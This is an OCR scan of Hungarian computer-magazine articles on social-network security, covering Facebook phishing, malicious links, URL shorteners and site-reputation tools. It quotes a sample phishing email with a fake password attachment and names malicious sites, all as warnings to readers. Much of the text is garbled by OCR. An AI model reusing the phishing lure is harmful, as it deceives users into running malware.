féle rangot ad, ha azon szerepelnek, illetve ki-
maradnak valamibél, ha hianyoznak onnan. A
magyar iWiW, a roppant népszer( Facebook
a maga 400 millids felhasznaldi szamaval, a
MySpace, vagy akar a Twitter 75 millio tagja-

val teljességében Uj helyzetet teremtett, kii-
l6ndsen a fiatal felhasznaldk taboraban. Egy
amerikai felmérés szerint a 12 évesnél id6-
sebb gyerekeknek mar a fele (48%) tagja a ko-
z0sségi portaloknak, és azokat naponta tobb-
sz0ris hasznalja. Ez az a korosztaly, akik sze-
rint az e-mail mar lassu és korilményes. Az
(jség és a televizid helyett is jelentds mérték-
ben tdmaszkodnak inkabb ezekre a porgd, hi-
hetetlen tempdban ndvekvd, és villdmgyors
Web 2.0-s lehetdségekre.

A dolgok jo és kevésbé jo oldala

Ha valaki nézte az aprilis 11. valasztasok
napjan az Origo cimlapjat, az érzékelhet-
te, milyen sebességgel keletkeztek a Twit-

Forditva iilve a virtualis lovon: elrettento példak

2010. 03. 03.: Akcid lefujva

Az izraeli hadsereg lefidjta egyik miiveletét a palesztin teriileteken, miutan egy katona fel-
tette a Facebook kozosségi portalra a tervezett akcid idépontjat és helyszinét. (forras: hopp.

pcworld.hu/6986)

2010. 03. 04.: Virtualis gyereknevelde, a valodi éhen halt

Egy koreai hazaspar annyira rakattant a Second Life-ra hasonlité PRIUS nevii virtualis valo-
sagra, ahol egyébként egy virtualis gyereket is neveltek, hogy a valdsagos gyermekiiket tel-
jesen elhanyagoltak. A renddrség szerint naponta akar 12 6rat is internetkavézokban toltot-
tek, mik6zben harom honapos csecsemdjiiket egyediil hagytak a lakasukban. (forras: hopp.
pcworld.hu/6987)

2010. 03. 31.: Jatszott a politikus, kirtigtak

Kirugtak egy bolgar varos dnkormanyzatanak egyik tagjat, mivel a kdltségvetés targyalasa
helyett inkabb virtualis tehenét fejte a Facebook népszer(, Farmville nevii jatékaban, és pe-
chére ezt masok is észrevették. (forras: hopp.pcworld.hu/6988)

2010. 04. 07.: 300 000 virtualis tanyara

Egy Nagy-Britanniaban él6 12 éves gyerek 913 fontot - mintegy 300 000 forintot - koltdtt el
a farmjara. Bar a Farmville ingyenes jaték, valodi pénzért is lehet benne virtualis fizetdesz-
kozt vasarolni. A gyerek elobb elverte sajat megtakaritott zsebpénzét, majd késcbb ellopta
anyja hitelkartyajat is. (forras: hopp.pcworld.hu/6989)

Lathatjuk, hogy ha az egészséges kontroll és dnkontroll hianyzik, az teljesen hibas iranyok-
hoz, mértékekhez vezet. Illetve akarmennyire is viccesnek latszanak a példak, egyaltalan
nem azok, hanem kékemény kockazati lehetdségeket mutatnak be.

o Eh o rmeres Dok o |
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Gyanakvas és telepitett virusirto nélkiil akar
csatlakozhatunk egy botnethez is. Ahogy az
e-maileknél sem szabad mindent készpénz-
nek venni, a Facebook-iizeneteknél sincs ez
masként

Adatvédeimi bedllitdsok

Emelje fel a kezét, aki mar legalabb végignéz-
te a Facebookon a,,Profilom - Adatvédelmi
beallitasok™ lehetoségeit. Hm, senki? Nos,
akkor elmondanank, van itt egy ,,Események
az alkalmazasokban és a jatékok kezelofelii-
letein” opcio is, érdemes lenne megnézni!

ter-posztok, szinte az atlagember vélemé-
nyének ,Ut6erén” tarthattuk a keziinket,
folyamatosan érkeztek a hozzaszélasok. Ko-
rilbelil fél perc alatt mar ki is ,csorgott” a
szoveg a képernyd aljan, olyan gyorsan jot-
tek az Uj Uzenetek. Az informalddasban va-
ldban j6 perspektivakat nyujté lehetség a
kozosségi oldalak hasznalata, am emellett
az is szlikséges, hogy a veszélyekkel is tisz-
tdban legyen az ember. Ez mindent jelent: a
nekiink kildott izeneteket épplgy, mint a
gyanus ,gyari” applikaciokat (Fancheck], to-
vabba azt is, hogy nem sziikséges életiink
minden egyes masodpercérdl automatiku-
san beszamolnunk. Ahogy az internet vila-
gaban, vagy az e-mailt kiildék taboraban,
itt sem mindenki az, akinek mondja magat,
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Szintén gyakori csel, ha egy kapott iizenet elolvasasahoz ,,ujra” be kell lépni, pedig mar amugy
is be voltunk jelentkezve. A triikk a név-jelszo elhalaszasat szolgalja

T
R e —— s

Do % AW soun

Amire nem kattintanank weblapként, arra
ne kattintsunk Facebook-iizenetként sem.

A, Klikkelj, baby!” az az iizenet, amit a biinc-
zok szeretnének jol belénk sulykolni

vagy éppenséggel Gral-lovag. Az adathala-
szok fGtétele éppen az, hogy a nagy szamok
torvénye miatt érdemes probalkozni, hiszen
a megtévesztett 1-5% mar meghozza a kony-
hara a szlikséges profitot - itt raadasul tobb
szazmillios felhasznalo taborrol beszélink!
Mar j6 eséllyel irhatnak olyan megtévesz-
t6 leveleket, amelyeknél az atlag nem szisz-
szen fel régton (nem fél, hiszen nem is bank-
tol jon). S6t még Ugy is gondolja az egysze-
ri felhasznalo, hogy milyen kedvesek ezek a
fejlesztdk, hogy a jelszovaltoztatasra, Uj jel-
sz0 megerdsitésére figyelmeztetnek. A le-
vél alairdsa pedig akar az is lehet, hogy .a
Facebook csapata”, és a felhasznalok egy ré-
sze mindezt el is hiszi. Korilbelil egymilli-
0an hasznaljadk ma Magyarorszagon a Face-
bookot, és ha az adathaldszatnal szokasos
5-10 szazalékos aldozati ratat tekintjik, ak-
kor ez egyaltalan nem kis szam.
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Amaganszféra Artandnal apad,
hajovontak talalkozasa tilos!

Neil Postman szerint ,halalra szorakozzuk
magunkat”. Korunk a ,.szép Uj vilag”, a televi-
zi6 a napi szomaadag, és az élet is a kozosségi
oldalakon zajlik: hirt adunk arrél, mit tesziink,
mirél mi a véleményiink, ott ismerkedink, el-
hissziik a talalt hireket, kommenteljiik a ne-
kiink tetsz6 és nem tetszd dolgokat, flame-
warokat vivunk, és ,virtudlis életlink” szinte
szebb, mint az igazi. Ekzben észre sem vesz-
sziik, mi torténik a maganszférankkal, ezzel
micsoda belelatast is engediink az életiinkbe.
Ahogy Caracalla talaloan fogalmaz a blogja-
ban (hopp.pcworld.hu/6983): A privacy sze-
rintem olyasféle, mint a szférak zenéje Arisz-

tenyleg oft figyel.... :0

i 90)

l-lust found some Treasured Golden Mystery Eggs and wants to say thank

[ o

I =5 completed a collection in FarmVille!

)

[ s working hard on a Botanical Garden in FarmVille!

Kapcsolodo forrasok,
ajanlottoldalak

A népszerliség titka a Twitteren:
hopp.pcworld.hu/6984

Caracalla blog - Eletek a Facebookon:
hopp.pcworld.hu/6983

Privatszférat Erdsité Technolégidk Blog:
pet-portal.eu

Americans Social Net Use On The Rise, But
Services Not Entirely Wasted On The Young:
hopp.pcworld.hu/6985

totelésznél: csak akkor joviink ra, hogy létezd,
fontos dolog, ha elhallgat a zene, azaz meg-
valtozik. Ugyanez a helyzet a maganélettel
is: amikor valaki a szemiinkbe mond valamit,
amit nem akartunk koztudotta tenni, akkor jo-
viink ra, hogy bizony fontos lett volna, hogy ne
lassédk olyanok is, akiknek nem szantuk. El-
tlintetni, masok fejéb6l az informaciot kitordl-
ni pedig altalaban mar nem lehetséges.”
Folyamatosan valtoznak maguk a kozéssé-
gi oldalak is, eldszor kideriil, hogyan csinal-
tak azt a bizonyos elsd milliot, amit nem il-
lik késébb firtatni. Aztan amikor felfut a cég,
jol fut a szekér, akkora jonnek vele a kéret-
len rekldmok, hirdetések is. Tal a platformo-
kat kihasznalo blin6z6kon, maguknak az lize-
meltetéknek is sokszor annyira homalyos,
vagy gyakran és a felhasznalok karara valto-
26 a privat szféra védelméhez valo hozzaalla-
suk, hogy csatazhatunk velik is. Egy kdzdssé-
gi oldalon a puszta személyes adatokon tul az
adathalon szovodo kapcsolatok, az ott kelet-
kezett események maris sokkal értékesebbek
az lzemeltetoknek az elébbieknél, igy az (iz-
leti modell és vele a felhasznaldi szerzddés is

In the case, of the "NR.32917” example, the number is randomizec
avoid spam filtering systems.

The message itself is not particularly convincing, but no doubt still
enough for the spammer’s purposes. While their are slight variatio
basically says:

Hey johnmaxwell,

Because of the measures taken to provide safety to our clien
password has been changed.
You can find your new password in attached document.

Thanks,
The Facebook Team.

The dual email file attachments (very common to virus campaigns
included are:

Facebook_password_Nr4457.exe
Facebook_password_Nr4457.zip

Szinte hihetetlen, de még a gazdasagi valsag
alatt is sokan vannak, akik megkockaztatjak,
hogy jatsszanak munkaidoben a munka-
helyi gépiikon, raadasul a napi 6t aratasrol
folyamatosan kiildik az értesitést barataik,
ismeraseik, fonokeik felé

Nem szokvanyos, hogy egy Uj jelszo az e-mail
iizenet mellékleteként érkezzen EXE vagy
ZIP fajlként az iizemeltetoktol. Sot, kizart!

A sors fintora, hogy hiaba hasznal valaki na-
gyon eros jelszot (fgGj/8893!%Y_696z5”), ha
kozben egy ilyen ,jelszoprogramot” futtat le
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sends

image24.zip (11 KE)
Canceled

@ You have failed 1o recsive file “imay

- 3@ @

Last message received at 7:56 PM on 5/11/2007.

Windows Live Hotmail now comes with 5GB of storaget!

AKki kivancsi, az hamar megfert6zodik. Nem-
csak ismeretlentdl johet fertozott iizenet;
ha valamelyik ismerdsiink szamitogépe
megfertozodott, vagy a kozosségi oldali,
MSN Live fiokjat feltorik, akkor akar tole is
érkezhet kartevo. Vagyis az ismerds felado
o6nmagaban még nem garancia semmire

folyamatosan médosul, vagyis egyaltalan nem
latni még a torténet végét.

Uj terep, régi szabalyok

De térjlink vissza a személyes adataink védel-
mére. Ahogy az utcan sem osztogatjuk ismeret-
leneknek a lakcimiinket vagy telefonszamun-
kat, nem irjuk a homlokunkra, mikor megyiink
el otthonrdl vagy utazunk el hosszabb iddre, gy
a virtualis térben is praktikus lenne elkerilni a
tulzott szoszatyarsagot. Egy elmés mondas sze-
rint nem a vilag lett rosszabb, csupan a hirszol-
galtatas lett jobb. Nos, ebben is van némi igaz-
sag, viszont igenis slr(ibbek lettek a csalasok,
atverések. Harminc éve még eseményszamba
ment, ha nagy ritkan al-villanyora-leolvasé jart
a faluban, vagy a piacon valaki liszttel hamisi-
totta a tejfdlt, amit racseppentett joddal lehetett
kimutatni. Ezekr6l a tanulsagos esetekrdl az-
tan évekig meséltek egymasnak a kocsmaban.
Most viszont naponta szazaval jénnek a csalo
probalkozasok, e-mailben, telefonon, SMS-en,

() Add People 1, Send File(s) (L) Chat History [ T] Bookmark
Double-click here to set chat topic
©kedd 06 aprilis 2010
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viag_pure: &9

DY

Csizmazia Istvan

P ©

it Profie.

Szerencsére az SMS-spam még nem érte
el hazankat, Skype alatt azonban akar

napi szinten lehet kapni kéretlen reklam-
szemét-iizeneteket hamis Viagra, csalard
OEM-szoftveraruhaz, vagy parkereso orosz
gyévuskak témakorben

pedllitasok
R Fajlatvitel
Személyes
Fajlatvitel beallitasok
Elrendezés

Bejelentkezes

Uzenetek Fajlok wituzellentrzése a kivetkezd programmal;
Figyelmertetések ET Smart Security” -log-file=log.txt -action=clean
Hangok

Fajlatvitel
Adstvédelem
Sizicnsag elutazitaza

Kapcsolat

Beérkezett fajlok mentéze a kivetkezd mappaban:
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Tovabbi informacia
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Virusellenorzés beallitasa Windows Live Messengerben. A beérkezo fajlok igy nem okoz-
hatnak meglepetést, hiszen az esetleges futtatas elott mar beérkezésiikkor megtorténik a

vizsgalat

hirdetésekben, éldszoban. Aluljarékban gydjte-
nek pénzt allitélagos beteg gyerekeknek, nyara-
lasi szokésaink iirligyén csaljak ki téliink a sze-
mélyes adatainkat. Nincs ingyen ebéd; ellopott
személyes adataink lesznek az alapanyagok a
késGbbi csalasokhoz: rajongdi klubokhoz, va-
sarloi kartyakhoz vald hozzajutasunk ara pedig
a cimiinkre kiildhetd reklam, a harmadik félnek
eladhato adatbazis - tehat nem ajandékot ka-
punk, hanem Uzletet kotiink; valamit adunk va-
lamiért. Roviden Osszefoglalva nem valtozott
mas, csak a helyszin, a modszer, a gyakorisag.

Még egy tapasztalt felnGttnek is szokni kell, mit
adjon kézre és mit ne. A fiatalok pedig elég sok-
szor feledkeznek el arrdl, hogy mit adtak kézre
régebben - akar a valasztasi kampany sotét le-
jaratd eszkoztarat is emlithetjik, amikor az lett
hirtelen a fontos, hogy ki milyen szaftos fiatalko-
ri részegeskedds, melegfelvonuldsos, kabitosze-
res botlast tud kibanyaszni ellenfele multjdban
az internet vilagabol. A 20-as és 24-es epizodok-
ban mar sok hasznos tanacsot adtunk, mire ér-
demes vigyazni. Akar egy biztato allaslehetdség
is kutba eshet az ilyen ovatlansagok miatt.

Ebredjiink tudatara
Osszegezve, rengeteg olyan teriilet van,
amelyre nincs befolyasunk, példaul ellop-

hatjak az egészségligyi adatainkat egy kor-
hazi nyilvantartasbol, vagy személyes ada-
tainkat egy kozintézménybdl. Viszont a kd-
z0sségi oldalakon megjelend profilunkat
- amit mi alakithatunk atgondoltan, alapo-
san - igyekezziik biztonsagi programokkal
és biztonsagtudatos viselkedéssel megov-
ni. Ez egy olyan nemes feladat, amelyhez
tanacsot vagy segitséget kaphatunk ugyan,
de nem lesz senki sem dvatos helyettiink.
Eljen hat az egészséges gyanakvas, 6va-
tossag; a terep megvaltozott ugyan, de a
mogottes szandékok és az emberi termé-
szet maradt a régi.

Csizmazia Istvan,

virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

velemeny@pcworld.hu

Kérjiik kedves olvaséinkat, ha a témaban
kérdésik, hozzaszélasuk van, juttassak el
hozzank (velemeny@pcworld.hu)
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Mit sziirnek masok, és mit tehetiink mi magunk?

Linkeskedo linkek

Az internet egyik nélkiilozhetetlen elemeirdl lesz sz6 sorozatunk harmincotodik részében, a linkekrol. Ezek
visznek minket tovabb keresésiink iranyaba, de idonként lehetnek kartékonyak is. Kik és hogyan probaljak
ezeket eltériteni, sziirni, ellendrizni, milyen linkek lehetnek gyanisak, és mit lehet tenni azért, hogy

megovjuk magunkat?

égebben ha fert6zott, gyanus linkek-
R rol beszéltiink, altaldban e-mail mel-

lékletekben kapott lizenetekrdl és az
azokban szerepld hivatkozasokrol volt szo.
Ezek terjesztése persze nem sziint meg, de
Ujabban jobbara a weben és kiilonésen ko-
z6sségi portalokon, blogokon, kommentek-
ben, valamint a Google keresési eredmé-
nyek talalataiban lehet ilyenekbe beleiitkdz-
ni. Hogy hogyan keriilnek kartevékre mutaté
linkek a kilonféle helyekre, azt mar alapo-
san kitargyaltuk a sorozatunk 26. epizddja-
ban. Arrdlviszont szét ejtiink, hogy pontosan
mit is tesznek ellene a kiilonféle szolgaltata-
sok UzemeltetGi.

Searching...

Ha keresésrol van szd, szinte mindenki azon-
nal a Google oldalara gondol, és valljuk be, ez
az egyik legjobb és legnépszeriibb eszkoz, amit
milliok hasznalnak szerte a vilagon. A karte-
véterjesztk Ugy okoskodtak, hogy ha valami
rendkiviili esemény torténik, érdemes egy do-
maint regisztralni, vagy fert6zott botnetes gé-
pekre iranyitani a keresotalalatokat, azt remél-
ve, hogy ezekre majd sokan fognak kattintani.
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Kezd&lap

Megbizhatok ebben a
webhelyben?

cellderado.com

Webhely : http://celidorado.com/

Ez a webhely: Gyanus

Legyen dvatos ezen a webhelyen

Bejelentett tamado webhely!

A(Z) j-5.info cdmen miik6dé
webhely, ezért a biztonsag
engedélyezi.

Egyes tamado

célra.

C helyek szandékosan ter
olyan van, amelyet a tulsidonoss tudta va

€5 ér tt, hogy tamadd

sedlitasok alapjan a bongészG a hozzaférést nem

ek arto szoftvereket, de sok
delye nélkil hasznalnak dyen

Oldal elhagyasa Miért nem jelenik meg ez a webhely?

A huszonhatodik részben teljes egészében azzal a kérdéssel foglalkoztunk, hogyan
keletkezik a bejelentett tamado webhely, és hogyan gyogyitsuk azt

Korabban csak alkalmilag, katasztrofak, hires-
ségek Vvélt vagy valos halalhire, Valentin-nap,
kiemelkedd sportesemények megrendezése
esetén kerilt sor tomeges linkmérgezésre, de
mara ez a foglalatossag ipari méretlivé nétt, és
allandoan veszélyezteti a netezoket. A Syman-
tec végzett egy felmérést, amelybdl az derdilt

PROTECTION -

Az F-Secure gyanus mikodést bizonyité elemeket taldlt ezen a webhelyen. Legyen nagyon dvatos ezen a webhelyen.

7 Gratulalunk!
On a szerencsés latogaté!

Klikkeljen ide, hogy megnyerhesse a
Nokia N97-et

Kattintson ide!

www.celldorado.com

Nemrég indult az F-Secure Browsing Protection szolgaltatasa, ahol barmilyen URL
begépelése utan megkapjuk annak értékelését. Ez lehet teljesen artalmatlan vagy
gyanus mindsitésii, esetleg kifejezetten kartékony

r -5

L
Object:
http://buhera.blog.hu/2010/01/06/fertoz_a_bkv...
Threat:
15/ Trojan loader. lirama NGU trojan
Information:

connection terminated - quarantned

Ha kartékony kod van a weboldalon, a
virusirto nyomban észleli. Itt még akkor
is kaptunk riasztast, amikor csak egy
komment tartalmazta szovegként a ka-
ros JavaScript-részletet

ki, hogy szervezettebb és automatizaltabb ez
a jelenség, mint azt kordbban gondoltuk vol-
na. A hattérben gyanithatdan a hamis antivirus
programok fejlesztdi allhatnak, errél tanus-
kodik az az adat is, miszerint a webes kere-
s6k elsé 70 talalatanak korilbelil 68 szaza-
léka vezet rendszerint kartékony oldalakra, és
ezek szinte mindig az emlegetett . panikprog-
ramokat” tartalmazzak. Nem kell hat vulkan,
nem kell Storm Worm, Eurovizids dalfesztival,
NHL kupa, ezektdl teljesen fliggetlenil allan-
do jelleggel folyik a Google Trends monitoro-
zasa, automatizalt kihasznalasa. A vizsgala-
tok eredményei, amelyet a Google 2010. mar-
ciusi és aprilisi talalatai alapjan végeztek, azt
mutattak, hogy a napi aktudlis top 10 kereso-
sz6 alapjan inditott keresések eredményei ko-
zUil mindig volt legalabb harom olyan, ahol kar-
tékony linkekre mutattak a hivatkozasok.
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ESET NOD32 Antivirus  Alert

Details:

Web iaie'

Description:
Access to the web page was blocked by ESET NOD32 Antivirus.
The web page is on the list of websites with potentially dangeraus content,

s gse

Kartékony linkeket mar tobb viruskere-
s0 megoldas is nyilvantart, ezeket pedig
a szignaturaallomanyokhoz hasonléan
rendszeresen frissiti

Agnes asszony a patakban linkjeit
mossa

Emiatt a Google-nél tobb millid oldalt vizsgalnak
at naponta. Ez az elemzés a hatalmas meglévo
és keletkez6 mennyiség miatt - a viruslaborokba
oml6 napi sok ezer mintahoz hasonléan - nem
emberi, hanem automatikus feldolgozast jelent.
Els6ként azt nézik meg, hogy egy adott URL tar-
talmazza-e a ,bank” vagy a .login" szavakat, il-
letve szerepel-e benne domainnév helyett gya-
nakvasra okot add IP-cim, nem szokatlanul
hosszd-e az URL-sor - ezek mind gyanus jelek
lehetnek. A tovabbiakban aztan ellendrzésre ke-
riil, tartalmaz-e jelszo (.password”) nev(i (rlap-
mez6t, megnézik a host szerverek teriileti infor-
mécidit stb. Utolsd (épésként pedig ellendrzik az
adott oldal esetleges adathalasz-, spam-, illetve
kartevogyanus visszajelzéseit, a kétes domain-
hostot és hasonldkat. Ezek az sszetett informa-
ciok adnak aztan egy végso képet, ami alapjan ha
a Google szlikségesnek latja, feketelistara tehe-
ti a linket. Az automatikus itélet miatt elvétve eld-
fordulhat hamis riasztas, de szerintiik az ilyes-
mi pozitiv esélye csekély, 1 a 10 000-hez. Nyilvan

Friends

Home  Profile

facebook

Inbox 1

I. Error Check System

8 I
- .

XHror Check System

4 Browse Mare Applications

+] Go to Application

This application cannot be added to
your Pages. Learn more.

e

Became a Fan
Add to my Page's Favorites
Block Application

[share[+]

About this Application

Lsers:
0 monthly active users,

¥ Friends Who Have Added this Application
Z friends have added this application

™

-

2 friends

Categories

Alerts, Ut

This application was not developed
See all by Facebook,

¥ Fans

&of 35 fans See Al

R

Addig oké, hogy van nalunk naprakészen tartott antivirus szoftver, de a Facebookon
talalhato kartevoket elsosorban nem az azt iizemeltetoknek kellene inkabb kisziirni?

az otthoni géplinknél csak egyediil erre az elem-
zésre tamaszkodni helyi biztonsagi programok
helyett badarsag lenne, de azokat ha némi ké-
séssel is, de jol kiegészitheti. Persze az iddfak-
tor is igen ényeges, valdszinlileg a kartevoter-
jesztok sokkal gyorsabbak, és amig a Google gé-
pezete le is tiltja a linkek egy részét, addigra mar
régen Ujabbak vannak a nyité oldalakon.

Kozosségi oldalak

A Twitternek 75 millid tagja van, és bar az lizene-
tek mérete csak 140 karakteres - ezek gyakran
roviditett linkeket tartalmaznak -, koriilbelil 55
millié poszt keletkezik naponta. Az e-mailben kiil-

BIZEOHS&OS 50neszes

Diggnosziikai oldal 8 koveikezOhoz: bigtopliteworld cr

Mi a(z) bigtopli Id.cn

legi listazasi allapota?

Mi tartént akkor, amikor a Google felkereste ezt a webhelyet?

¥ )
A webhely szerepel a gyanis webhelyek listajan - megtekintése arthat szamitdgépének.

A webhely egy része az elmilt 30 nap soran 1 alkalommal a gyands miveletek listéjara kerilt

Az gltalunk az elmilt 90 nap soran tesztelt 3 oldal kazol O oldal eredményerzte kanékony szoftver letiltését és telepitést a felhasznald
engedélye nélkil. A Google legutdhbi ldtogatasa: 2009-04-22, @ webhelyen gyanis tartalmat ekkor talaltunk utoljara: 2009-04-22

Malicious software includes 16 trajan(s), 12 scripting exploit(s)

Thig site was hosted on 1 netwark(s) including AS12553

Koz iikoditt-e ez a

Atandcsadds szolgdltatdja: CU- Jg]l.'

Tarolt ez a y szoftvert?

y programok tovabbterjesztésél
Awebhely (bigtoplitewarld.cn) az elmilt 80 nap soran valdszindleg nem mikadatt kizre egyetien webhely megfertdzésében sem

?

pkn2. go.th, divicim, comd

W
Igen. Ez a webhely kartékony szoftvert taralt az elmalt 90 nap soran. 12 domaint fertdzdtt meg, kdztik a kivetkezd(ke)t: onlineprodej cz/,

A Google esetében azt is részletesen lekérdezhetjiik, miért lett feketelistas egy adott
oldal. Ez esetben jol lathato, hogy gyanus szkripteket és 16 egyértelmiien azonositha-
to trojai programot tartalmazott a weboldal
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détt kéretlen linkeknél mindig is veszélyesebbnek
szamitottak ezek a kozdsségi lizenetek vagy be-
jegyzések, mert mindenki ugy gondolja, hogy ezek
valamiért megbizhatdbbak. A rossz hir az, hogy
ab ovo ez nem igaz, a j6 hir, hogy a Twitter 2010.
marcius 6ta mar probal tenni valamit a kartevo-
terjesztok ellen. Ugy gondoltak, hogy mivel a fel-
hasznalok mar eleve dvatlanabbak a kdzosségi ol-
dalakon, legalabb a linkek tekintetében probaljak
megel6zni a kartékony kodok terjesztését. Ezigen
hasznos lehet, hiszen rengeteg adathalasz tama-
das indul innen, a tovabbi kartevokrdl, trojaikrol,
kémprogramokrdl nem is beszélve. ElGfordul-
hat az is, hogy hamis antivirus programra mutaté
linkeket kiildenek Twitteren keresztiil, és akinek
nincs valddi védelmi programja vagy tapasztalat-
lan felhasznalo, ebbe a csapdaba is bele tud sétal-
ni. Remélhetdleg a linkek helyzete ettél jobbra for-
dul, a felhasznaldk alapvet6 naivitasa azonban to-
vabbrais . kezelésre” szorul.

Tulzasba vitt minoségi munka

Egy érdekes eset némileg bearnyékolja a kar-
tékony linkek hatékony sz(irését a Twitternél,
de bizzunk benne, hogy azéta mar minden ola-
jozottabban mikadik. 2009. oktéber 8-an Mik-
ko Hyppdnen, az F-Secure kutatasi igazgatéja
meglepddve vette észre, hogy a fiokjat felfiig-
gesztették. Késdbb kiderdilt, hogy ez egy ere-
detileg augusztus 3-i, adathaldsz weboldalra
figyelmeztetd, linket is tartalmazo bejegyzése
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Megbizhatok ebben a relaxedgrape.rn
webhelyben?
Webhely : hitp://relaxedgrape. ru/

Ez a webhely: Karos

Ne latogasson el erre a webhelyre

BROWSING PROTECTION

| Magyar <

Az F-Secure kartekony mikodest bizonyite elemeket taldlt ezen a webhelyen. Legjobb tudomasunk szerint ez a webhely

nem biztonsagos.

Webhely 11 ese

A kiilonféle webes tartalmi tanacsadok (pl. Web Of Trust), maga a Google, de a web-
oldali ellendrzo szolgaltatasok is leleplezhetik a kartékony oldalakat. Fontos lenne,
hogy mindez (észlelés, bejelentés, feldolgozas, ellendrzés, adatbazis-frissités) minél

gyorsabban torténhessen meg

[T Fugyelmaimis Kirtakiry Lfieee =

¢ ipvtew Ennek az oldainak a megldtogatisa kirt tehet a
szamitégépében!
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A figyelmeztetések platformfiiggetleniil
érkeznek, tehat nemcsak Windowson,
hanem Macintosh vagy Linux operacios
rendszer alatt is megkapjuk ezeket

miatt tortént. A megoldas tobb kérdést is fel-
vet. Egyrészt a linket szandékosan nem kat-
tinthatték le a felhasznaldk szintaktikaval ir-
va [sz6kozok voltak benne). Masrészt ha ez egy
olyan Twitter-szolgaltatas, amivel az lgyfele-
ket kivanjak az lizemelteték megvédeni, akkor
miért a kéthonapos késés - vagy csufoljuk in-
kabb reagalasi idének? Tovabbi érdekessége
még a torténetnek, hogy a szakembernek ko-
moly neve van, és sokan elismerik a tevékeny-
ségét, nem kértek téle elnézést utélag sem és
a letiltott, majd visszaallitott fiokja miatt a ko-
vetoi is jovatehetetlenil elvesztek, mivel eze-
ket az adatokat az iizemeltetdk végiil nem vol-
tak hajlanddk szamara helyreallitani.

Arcoskodjunk

A Facebook napi 570 milli¢ latogatoval dicseked-
het, a kdzsségnek pedig mar tébb mint 400 mil-
li6 aktiv felhasznaldja van a regisztralt 500 mil-
liobol. Atlagosan minden tagnak koriilbeliil 130
ismerdse van, a tagok pedig havonta mintegy
egymillidrd képet toltenek fel. Emellett 70 sza-
zalékuk valamilyen alkalmazast, jatékot is futtat
az oldal kindlatabol. Mindegyikiik kapcsolddik 60
tovabbi oldalhoz, csoporthoz, rendezvényhez és
minden hénapban kérilbelil 70 Gj tartalmat (be-
jegyzés, lzenet, kép, vided) hoz létre. Tehat posz-

tok, linkek nagy szamban jénnek-mennek itt is,
ehhez elég csak a legutébbi ,The Sexiest Video
EVER” targyu, latszolag ismerdseinktdl jovo lize-
netekre gondolni. Sajnos a kartékony linkek Twit-
terhez hasonlé (de inkabb annal sokkal jobb...)
szolgaltatoi szlirésérdl egyeldre nem tudunk.

A telepitheté Facebook-alkalmazasok kozott
is rendszeresen feltlinnek gyanus, vagy kifeje-
zetten trojai alkalmazasok, mint példaul a Fan
Check vagy az Error Check System. A veszély
szempontjabol emiatt nyilvan nem lehet figyel-
men kiviil hagyni a magyar felhasznaldkat sem,
6k most koriilbeldl 1,3 milliényian lehetnek.

Linkek fogyokuran

A mar emlitett, veszélyes URL-rovidités lénye-
ge, hogy barmilyen kacifantosan hosszu linkbGl
képes egy rovidke, akar a Twitterhez sziikséges
maximum 140 karakterbe beférd (] hivatkozast
generalni. Viszont a link nevébdl - ami kattin-
tas utan ugyanugy elvisz minket az eredeti oldal-
ra - mar nem lehet semmit sem kiolvasni. 2009
tavasza Ota a spam- és kartevoterjesztok hihe-
tetlen mértékben rékaptak erre az URL-rovidité-
si technikdra. Jo megoldas lehet tehdt egy olyan
béngészdplugin, amely képes a roviditett link ma-
gé pillantva képes megmutatni annak eredeti tar-
talmat. Ami a Bit.ly-t illeti Firefox alatt, szerepel a
kiegészitok kozott a Bit.ly Preview (addons.mozil-
la.org/en-US/firefox/addon/10297/). Ez pontosan
azt csindlja, amirdl fentebb szoltunk, ha az egér-
mutatot még kattintas el6tt a rovid idore a link fo-
(& mozditjuk. Létezik mar raadasul egy univerza-
lis, minden linkroviditési szolgaltatast kezeld The-
RealURL (www.therealurl.net) nevii kiegészit6 is,
illetve a Google Chrome View Thru pluginje (hopp.
peworld.hu/7064) is ugyanezt valdsitja meg.

Tovabbifegyvertarsak
Ha Internet Explorert vagy Firefox webbongé-
sz6t hasznalunk, tobb mas forrasbol is kapha-
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tunk figyelmeztetést. Ha telepitjiik a NetCraft
Toolbar (toolbar.netcraft.com), a Finjan Se-
cure Browsing (securebrowsing.finjan.com),
a Web of Trust (www.mywot.com), Web Secu-
rity Guard (www.websecurityguard.com) vagy
a McAfee Siteadvisor (www.siteadvisor.com)
webes tanacsaddk valamelyikét - vagy mind-
egyikét -, akkor ezek is listazzak a felhaszna-
Lok bejelentései alapjan a weboldalakat, illet-
ve rendszeresen frissitett adatbazisuk alapjan
tudnak minket riasztani. (Az emlitett progra-
mok egy része Google Chrome bongészéhoz
is elérhetd.] Ha mindez nem lenne elég, lato-
gassunk el az F-Secure Browsing Protection
oldalara (browsingprotection.f-secure.com),
ahol barmilyen URL vizsgalatat elvégezhet-
jlik. Emellett tobb antivirus termékben miko-
dik mar kiilon kartékony linkeket figyeld esz-
koz - tobbek kozt a NOD32 is tartalmaz ilyet -,
igy ezek kozvetleniil a bongészéskor is képe-
sek az ismert veszedelmes oldalakra valo Lé-
pést megakadalyozni.

Kattintare necesse est

Az interneten keresni azonban mégis kell,
mit lehet hat akkor tenni? Ebbdl a nagy ta-
nulsag csak az lehet, hogy a keresé talalata
nem szentiras, figyelmiinket ekkor se kap-
csolhatjuk ki, legylink résen. Néha segithet a
talalat linkjének szemrevételezése is, példa-
ul nyilvan nem egy kinai oldal tajékoztat majd
a legautentikusabban Michael Jackson vagy
egy mas hiresség valds vagy kitalalt halala-
rol. Abongész6bdl érdemes a biztonsagosabb
valtozatokat (Opera, Firefox) valasztani, fel-
vértezni azokat okos kiegészit6kkel (példaul
NoScript, ShowlP). Emellett fontos egy meg-
bizhato antivirus program is, amely megfele-
(6 beallitdsok mellett mind a webhozzaférést,
mind pedig a MSN és egyéb izen6programok
mellékleteit, linkjeit képes ellendrizni. A tavo-
li jovG véarhatoan a keresévallalatok és az an-
tivirus gyartok valamilyen kézds adatbazisan
alapuld linkszirése lehet, igy biztosithato len-
ne a védekezéshez sziikséges egyre révidebb
reakcio idd, ami valljuk be, az antivirus cégek-

nél egyel6re nagysagrendekkel gyorsabb.
CsizmaziaIstvan,
virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

velemeny@pcworld.hu

Kérjiik kedves olvaséinkat, ha a témaban
kérdésik, hozzaszélasuk van, juttassak el
hozzank (velemeny@pcworld.hu)
